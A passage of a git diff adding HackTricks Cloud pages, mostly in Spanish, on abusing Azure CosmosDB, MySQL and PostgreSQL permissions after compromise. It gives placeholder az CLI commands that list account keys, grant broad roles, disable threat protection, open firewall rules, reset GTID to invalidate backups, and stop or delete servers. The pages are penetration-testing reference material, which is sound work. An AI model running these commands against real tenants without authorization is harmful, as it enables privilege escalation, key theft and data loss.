--body 'function trigger() { var context = getContext(); var request = context.getRequest(); request.setBody("Triggered operation!"); }' \
|
||||
--type Pre \
|
||||
--operation All
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write"
|
||||
Con este permiso, puedes crear o modificar colecciones dentro de bases de datos MongoDB en una cuenta de Azure Cosmos DB. Las colecciones se utilizan para almacenar documentos y definir la estructura y particionamiento de los datos.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb mongodb collection create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <mongodb_database_name> \
|
||||
--name <collection_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read"
|
||||
Con este permiso, puedes crear nuevas bases de datos MongoDB dentro de una cuenta de Azure Cosmos DB. Esto permite aprovisionar nuevas bases de datos para almacenar y gestionar colecciones y documentos.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb mongodb database create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <database_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read"
|
||||
Con este permiso, puedes crear nuevas definiciones de roles de MongoDB dentro de una cuenta de Azure Cosmos DB. Esto permite definir roles personalizados con permisos específicos para los usuarios de MongoDB.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb mongodb role definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<mydatabase>.readWriteRole",
|
||||
"RoleName": "readWriteRole",
|
||||
"Type": "CustomRole",
|
||||
"DatabaseName": "<mydatabase>",
|
||||
"Privileges": [
|
||||
{
|
||||
"Resource": {
|
||||
"Db": "<mydatabase>",
|
||||
"Collection": "mycollection"
|
||||
},
|
||||
"Actions": [
|
||||
"insert",
|
||||
"find",
|
||||
"update"
|
||||
]
|
||||
}
|
||||
],
|
||||
"Roles": []
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read"
|
||||
Con este permiso, puedes crear nuevas definiciones de usuario de MongoDB dentro de una cuenta de Azure Cosmos DB. Esto permite la provisión de usuarios con roles y niveles de acceso específicos a bases de datos de MongoDB.
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb mongodb user definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<mydatabase>.myUser",
|
||||
"UserName": "myUser",
|
||||
"Password": "mySecurePassword",
|
||||
"DatabaseName": "<mydatabase>",
|
||||
"CustomData": "TestCustomData",
|
||||
"Mechanisms": "SCRAM-SHA-256",
|
||||
"Roles": [
|
||||
{
|
||||
"Role": "readWriteRole",
|
||||
"Db": "<mydatabase>"
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,167 @@
|
||||
# Az - MySQL Post Exploitation
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Post Explotación de Base de Datos MySQL
|
||||
Para más información sobre la Base de Datos MySQL consulta:
|
||||
|
||||
{% content-ref url="../az-services/az-mysql.md" %}
|
||||
[az-mysql.md](../az-services/az-mysql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read"
|
||||
|
||||
Con este permiso, puedes crear nuevas bases de datos dentro de una instancia de MySQL Flexible Server en Azure. Aunque esta acción en sí no modifica los recursos existentes, la creación excesiva o no autorizada de bases de datos podría llevar a un consumo de recursos o un posible uso indebido del servidor.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server db create \
|
||||
--server-name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <database_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/backups/write"
|
||||
|
||||
Con este permiso, puedes iniciar la creación de copias de seguridad para una instancia de MySQL Flexible Server en Azure. Esto permite a los usuarios generar copias de seguridad bajo demanda, lo que puede ser útil para preservar datos en momentos específicos.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server backup create \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
--backup-name <backup_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write"
|
||||
|
||||
Con este permiso, puedes configurar o actualizar la configuración de Protección Avanzada contra Amenazas (ATP) para una instancia de MySQL Flexible Server en Azure. Esto permite habilitar o deshabilitar características de seguridad diseñadas para detectar y responder a actividades anómalas y amenazas potenciales.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server threat-protection-policy update \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--state <Enabled|Disabled>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write"
|
||||
|
||||
Con este permiso, puedes crear o modificar reglas de firewall para una instancia de MySQL Flexible Server en Azure. Esto permite controlar qué direcciones IP o rangos pueden acceder al servidor. El uso no autorizado o inapropiado de este permiso podría exponer el servidor a accesos no deseados o maliciosos.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Create Rule
|
||||
az mysql flexible-server firewall-rule create \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--rule-name <rule_name> \
|
||||
--start-ip-address <start_ip> \
|
||||
--end-ip-address <end_ip>
|
||||
|
||||
# Update Rule
|
||||
az mysql flexible-server firewall-rule update \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--rule-name <rule_name> \
|
||||
--start-ip-address <start_ip> \
|
||||
--end-ip-address <end_ip>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action"
|
||||
|
||||
Con este permiso, puedes restablecer el GTID (Identificador Global de Transacción) para una instancia de MySQL Flexible Server en Azure. Restablecer el GTID invalidará todas las copias de seguridad automatizadas, bajo demanda y geo-copias de seguridad que se tomaron antes de la acción de restablecimiento. Después del restablecimiento del GTID, no podrás realizar PITR (restauración en un punto en el tiempo) utilizando el punto de restauración más rápido o mediante un punto de restauración personalizado si el tiempo de restauración seleccionado es anterior al tiempo de restablecimiento del GTID. Y la geo-restauración exitosa solo será posible después de 5 días.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server reset-gtid \
|
||||
--name \
|
||||
--resource-group <resource_group_name> \
|
||||
--gtid-set <gtid>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action"
|
||||
|
||||
Con este permiso, puedes actualizar la configuración de un servidor MySQL Flexible en Azure. Esto permite la personalización de parámetros del servidor, como la optimización del rendimiento, configuraciones de seguridad o ajustes operativos. Puedes actualizar los siguientes parámetros juntos en un lote: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors y max_connections.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server parameter set-batch \
|
||||
--resource-group <resource_group_name> \
|
||||
--server-name <server_name> \
|
||||
--args max_connections=<value>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
|
||||
|
||||
Con este permiso, puedes asignar una identidad administrada asignada por el usuario a los servidores flexibles de MySQL.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server identity assign \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--server-name <ServerName> \
|
||||
--identity <IdentityName>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/stop/action"
|
||||
|
||||
Con este permiso, puedes detener una instancia de PostgreSQL Flexible Server en Azure. Detener un servidor puede provocar una interrupción temporal del servicio, afectando a las aplicaciones y usuarios dependientes de la base de datos.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server stop \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/start/action"
|
||||
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server start \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "*/delete"
|
||||
|
||||
With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,155 @@
|
||||
# Az - PostgreSQL Post Exploitation
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## PostgreSQL Database Post Exploitation
|
||||
Para más información sobre PostgreSQL Database consulta:
|
||||
|
||||
{% content-ref url="../az-services/az-postgresql.md" %}
|
||||
[az-postgresql.md](../az-services/az-postgresql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read"
|
||||
|
||||
Con este permiso, puedes crear nuevas bases de datos dentro de una instancia de Postgres Flexible Server en Azure. Aunque esta acción en sí no modifica los recursos existentes, la creación excesiva o no autorizada de bases de datos podría llevar a un consumo de recursos o un posible uso indebido del servidor.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server db create \
|
||||
--server-name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <database_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write"
|
||||
|
||||
Con este permiso, puedes iniciar la creación de copias de seguridad para una instancia de Postgres Flexible Server en Azure. Esto permite a los usuarios generar copias de seguridad bajo demanda, lo que puede ser útil para preservar datos en momentos específicos.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server backup create \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
--backup-name <backup_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read"
|
||||
|
||||
Con este permiso, puedes configurar o actualizar la configuración de Protección Avanzada contra Amenazas (ATP) para una instancia de Postgres Flexible Server en Azure. Esto permite habilitar o deshabilitar características de seguridad diseñadas para detectar y responder a actividades anómalas y amenazas potenciales.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server threat-protection-policy update \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--state <Enabled|Disabled>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read"
|
||||
|
||||
Con este permiso, puedes crear o modificar reglas de firewall para una instancia de Postgres Flexible Server en Azure. Esto permite controlar qué direcciones IP o rangos pueden acceder al servidor. El uso no autorizado o inapropiado de este permiso podría exponer el servidor a accesos no deseados o maliciosos.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Create Rule
|
||||
az postgres flexible-server firewall-rule create \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--rule-name <rule_name> \
|
||||
--start-ip-address <start_ip> \
|
||||
--end-ip-address <end_ip>
|
||||
|
||||
# Update Rule
|
||||
az postgres flexible-server firewall-rule update \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--rule-name <rule_name> \
|
||||
--start-ip-address <start_ip> \
|
||||
--end-ip-address <end_ip>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && "Microsoft.DBforPostgreSQL/flexibleServers/configurations/read"
|
||||
|
||||
Con este permiso, puedes actualizar la configuración de un servidor flexible de Postgres en Azure. Esto permite la personalización de parámetros del servidor, como la optimización del rendimiento, configuraciones de seguridad o ajustes operativos.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server parameter set \
|
||||
--resource-group <resource_group_name> \
|
||||
--server-name <server_name> \
|
||||
--name <parameter_name> \
|
||||
--value <parameter_value>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action"
|
||||
|
||||
Con este permiso, puedes detener una instancia de PostgreSQL Flexible Server en Azure. Detener un servidor puede provocar una interrupción temporal del servicio, afectando a las aplicaciones y usuarios dependientes de la base de datos.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server stop \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/start/action"
|
||||
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server start \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
|
||||
|
||||
With this permission, you can assign a user-assigned managed identity to postgres flexible servers.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server identity assign \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--server-name <ServerName> \
|
||||
--identity <IdentityName>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "*/delete"
|
||||
With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,93 @@
|
||||
# Az - CosmosDB Privesc
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## CosmosDB Privesc
|
||||
Para más información sobre SQL Database consulta:
|
||||
|
||||
{% content-ref url="../az-services/az-cosmosDB.md" %}
|
||||
[az-cosmosDB.md](../az-services/az-cosmosDB.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read")
|
||||
|
||||
Con estos permisos puedes escalar privilegios otorgando a un usuario los permisos para ejecutar consultas y conectarse a la base de datos. Primero se crea una definición de rol otorgando los permisos y alcances necesarios.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql role definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<Random-Unique-ID>", # For example 12345678-1234-1234-1234-123456789az
|
||||
"RoleName": "CustomReadRole",
|
||||
"Type": "CustomRole",
|
||||
"AssignableScopes": [
|
||||
"/subscriptions/<subscription_id>/resourceGroups/sqldatabase/providers/Microsoft.DocumentDB/databaseAccounts/<account_name>"
|
||||
],
|
||||
"Permissions": [
|
||||
{
|
||||
"DataActions": [
|
||||
"Microsoft.DocumentDB/databaseAccounts/readMetadata",
|
||||
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/items/read",
|
||||
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/*"
|
||||
]
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Después de eso, se asigna la definición a un usuario. Después de esto, ese usuario puede usar el método de conexión DefaultAzureCredential() para ejecutar consultas.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql role assignment create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--role-definition-id <Random-Unique-ID-used-in-definition> \
|
||||
--principal-id <principal_id-togive-perms> \
|
||||
--scope "/"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/listKeys/action"
|
||||
Con este permiso, puedes recuperar las claves primaria y secundaria para una cuenta de Azure Cosmos DB. Estas claves proporcionan acceso completo a la cuenta de la base de datos y sus recursos, lo que permite acciones como lecturas de datos, escrituras y cambios de configuración.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb keys list \
|
||||
--name <account_name> \
|
||||
--resource-group <resource_group_name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,91 @@
|
||||
# Az - MySQL Database Privesc
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## MySQL Database Privesc
|
||||
Para más información sobre SQL Database consulta:
|
||||
|
||||
{% content-ref url="../az-services/az-mysql.md" %}
|
||||
[az-mysql.md](../az-services/az-mysql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write"
|
||||
|
||||
Con este permiso, puedes crear, actualizar o eliminar instancias de MySQL Flexible Server en Azure. Esto incluye aprovisionar nuevos servidores, modificar configuraciones de servidores existentes o desmantelar servidores.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server create \
|
||||
--name <ServerName> \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--location <Location> \
|
||||
--admin-user <AdminUsername> \
|
||||
--admin-password <AdminPassword> \
|
||||
--sku-name <SkuName> \
|
||||
--storage-size <StorageSizeInGB> \
|
||||
--tier <PricingTier> \
|
||||
--version <MySQLVersion>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Por ejemplo, estos permisos permiten cambiar la contraseña de MySQL, útil por supuesto en caso de que la autenticación de MySQL esté habilitada.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server update \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <server_name> \
|
||||
